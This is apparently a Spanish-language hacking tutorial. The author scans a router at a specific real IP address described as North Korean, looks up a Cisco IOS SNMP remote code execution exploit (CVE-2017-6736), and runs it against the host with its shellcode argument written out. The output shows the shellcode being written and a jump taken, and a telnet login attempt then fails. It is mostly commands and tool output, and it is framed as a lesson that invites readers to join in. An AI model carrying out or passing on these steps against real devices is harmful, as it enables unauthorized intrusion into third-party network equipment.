Buenas tardes, hoy voy a intentar entrar en un router de Corea del Norte, espero que te guste y aprendas
Primero hacemos un escaner al host y vemos lo que tiene
-sV: Información de servicio, versión
-O: Detección de sistema operativo
-Pn: No realizamos descubrimiento de host mediante ping porque ya sabemos que está activo, si no ponemos ésta opción y el host no responde a pings, nmap no continuará con el escaneo
kp@dictadura:$ sudo nmap -sV -O -Pn 175.45.178.129 [sudo] contraseña para kp: Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-11 19:31 CET Nmap scan report for 175.45.178.129 Host is up (0.32s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh Cisco SSH 1.25 (protocol 1.99) 23/tcp open telnet Cisco router telnetd 25/tcp filtered smtp 139/tcp filtered netbios-ssn Device type: WAP|router Running: Cisco IOS 12.X, Cisco IOS XE OS CPE: cpe:/h:cisco:aironet_ap1250 cpe:/o:cisco:ios:12.4 cpe:/o:cisco:ios_xe OS details: Cisco Aironet 1250 WAP (IOS 12.4) or IOS XE Service Info: OS: IOS; Device: router; CPE: cpe:/o:cisco:ios OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 47.47 seconds kp@dictadura:$
Después, con searchsploit (aquí tienes el tutorial de como instalarlo) buscamos la vulnerabilidad más apropiada
kp@dictadura:$ searchsploit -p 43450 Exploit: Cisco IOS - Remote Code Execution URL: https://www.exploit-db.com/exploits/43450 Path: /opt/exploitdb/exploits/hardware/remote/43450.py Codes: CVE-2017-6736, CISCO-SA-20170629-SNMP Verified: False File Type: Python script, ASCII text executable Copied EDB-ID #43450's path to the clipboard kp@dictadura:$
copiamos y renombramos el exploit al directorio actual
kp@dictadura:$
cp /opt/exploitdb/exploits/hardware/remote/43450.py ./43450_pyton2.py
Editamos el exploit (es un script, un fichero) y leemos las instrucciones
vim 43450_pyton2.py (vim es un editor de textos)
El siguiente comando sirve para ver la versión exacta del firmware del router (y viene en las instrucciones del exploit)
kp@dictadura:$ snmpget -v 2c -c public 175.45.178.129 1.3.6.1.2.1.1.1.0 Timeout: No Response from 175.45.178.129. kp@dictadura:$
No obtenemos ningún resultado, no sabemos la versión, continuamos con el exploit a ver si hay suerte y tiene ese firmware
El exploit está escrito en python2, no van a funcionar algunas líneas si tenemos python3
Instalamos python2
sudo apt install python2
Descargamos pip para python2
curl -O https://bootstrap.pypa.io/pip/2.7/get-pip.py
Instalamos pip en python2
python2 get-pip.py
Ver módulos instalados en python2
python2 -m pip list
Instalar scapy y termcolor para el exploit
python2 -m pip install scapy
python2 -m pip install termcolor
Al ejecutar el exploit no funcionará por la versión de scapy, instalar la 2.4.5
python2 -m pip install scapy==2.4.5
Ejecutamos el exploit según las instrucciones que proporciona (editar el exploit para verlo)
kp@dictadura:$ sudo -E python2 43450_pyton2.py 175.45.178.129 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000 [sudo] contraseña para kp: Writing shellcode to 0x8000f000 . Sent 1 packets. 0x8000f0a4: 8fb40250 . Sent 1 packets. 0x8000f0a8: 00000000 . Sent 1 packets. 0x8000f0ac: 3c163e29 . Sent 1 packets. 0x8000f0b0: 36d655b0 . Sent 1 packets. 0x8000f0b4: 26d62000 . Sent 1 packets. 0x8000f0b8: 00000000 . Sent 1 packets. 0x8000f0bc: 02d4a821 . Sent 1 packets. 0x8000f0c0: 00000000 . Sent 1 packets. 0x8000f0c4: 8eb60000 . Sent 1 packets. 0x8000f0c8: 00000000 . Sent 1 packets. 0x8000f0cc: 3c148000 . Sent 1 packets. 0x8000f0d0: 3694f000 . Sent 1 packets. 0x8000f0d4: ae960000 . Sent 1 packets. 0x8000f0d8: 00000000 . Sent 1 packets. 0x8000f0dc: aea00000 . Sent 1 packets. 0x8000f0e0: 00000000 . Sent 1 packets. 0x8000f0e4: 3c1fbfc4 . Sent 1 packets. 0x8000f0e8: 37ff89a8 . Sent 1 packets. 0x8000f0ec: 03e00008 . Sent 1 packets. 0x8000f0f0: 00000000 Jump to shellcode? [yes]: yes . Sent 1 packets. Jump taken! kp@dictadura:$ telnet 175.45.178.129 Trying 175.45.178.129... Connected to 175.45.178.129. Escape character is '^]'. User Access Verification Username: Username: Username: Username: admin Password: % Login invalid Username:
El exploit funciona pero no consigue el acceso sin que pongas usuario y contraseña (que en eso consiste)
Si tienes algo mejor y quieres colaborar ya sabes